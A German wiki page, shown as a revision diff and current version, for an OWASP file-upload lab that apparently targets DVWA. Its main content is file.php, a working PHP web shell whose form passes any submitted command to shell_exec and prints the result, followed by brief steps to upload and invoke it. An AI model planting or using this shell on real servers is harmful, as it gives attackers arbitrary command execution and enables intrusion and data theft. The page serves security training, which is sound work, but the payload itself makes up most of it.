OWASP File Upload Kommando Ausführung: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
 
(Eine dazwischenliegende Version desselben Benutzers wird nicht angezeigt)
Zeile 1: Zeile 1:
 
=file.php=
 
=file.php=
 
;Dieser PHP File so später Kommandos ausführen
 
;Dieser PHP File so später Kommandos ausführen
<nowiki>
+
<pre>
 
<form action="" method="post" enctype="application/x-www-form-urlencoded">
 
<form action="" method="post" enctype="application/x-www-form-urlencoded">
 
+
      <table style="margin-left:auto; margin-right:auto;">
<table style="margin-left:auto; margin-right:auto;">
+
<tr>
 
<tr>
 
  
 
<td colspan="2" style="text-align:center; font-weight: bold;color: #770000;">
 
<td colspan="2" style="text-align:center; font-weight: bold;color: #770000;">
Zeile 33: Zeile 31:
 
}//end if
 
}//end if
 
?>
 
?>
</nowiki>
+
</pre>
  
 
=Upload File=
 
=Upload File=

Aktuelle Version vom 16. Juli 2021, 10:56 Uhr

file.php

Dieser PHP File so später Kommandos ausführen
<form action="" method="post" enctype="application/x-www-form-urlencoded">
       <table style="margin-left:auto; margin-right:auto;">
		<tr>

			<td colspan="2" style="text-align:center; font-weight: bold;color: #770000;">

				Please enter system command
			</td>
		</tr>
		<tr><td> </td></tr>
		<tr>
			<td style="font-weight: bold;">Command</td>
			<td><input type="text" name="pCommand" size="50"></td>
		</tr>
		<tr><td> </td></tr>
		<tr>
			<td colspan="2" style="text-align:center;">
				<input type="submit" value="Execute Command" />
			</td>
		</tr>
	</table>
</form>
<?php 
	if (isset($_REQUEST["pCommand"])) {
		echo "<pre>";
		echo shell_exec($_REQUEST["pCommand"]);
		echo "</pree>";
	}//end if
?>

Upload File

Datei aufrufen

Kommando aufrufen

Dvwa-3.png